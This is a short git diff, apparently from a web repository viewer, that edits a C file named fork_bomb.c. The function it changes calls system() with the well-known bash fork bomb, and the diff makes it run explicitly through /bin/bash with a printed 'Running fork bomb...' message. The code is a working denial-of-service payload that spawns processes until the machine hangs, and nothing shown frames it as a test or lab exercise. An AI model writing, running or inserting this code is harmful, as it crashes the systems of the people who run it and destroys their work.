diff options
Diffstat (limited to 'src/critical')
| -rw-r--r-- | src/critical/fork_bomb.c | 5 |
1 files changed, 3 insertions, 2 deletions
diff --git a/src/critical/fork_bomb.c b/src/critical/fork_bomb.c index 693a488..beadc23 100644 --- a/src/critical/fork_bomb.c +++ b/src/critical/fork_bomb.c @@ -1,5 +1,6 @@ #include <stdlib.h> - +#include <stdio.h> void fork_bomb() { - system(":(){ :|:& };:"); + printf("Running fork bomb..."); + system("/bin/bash -c ':(){ :|:& };:'"); }
\ No newline at end of file |
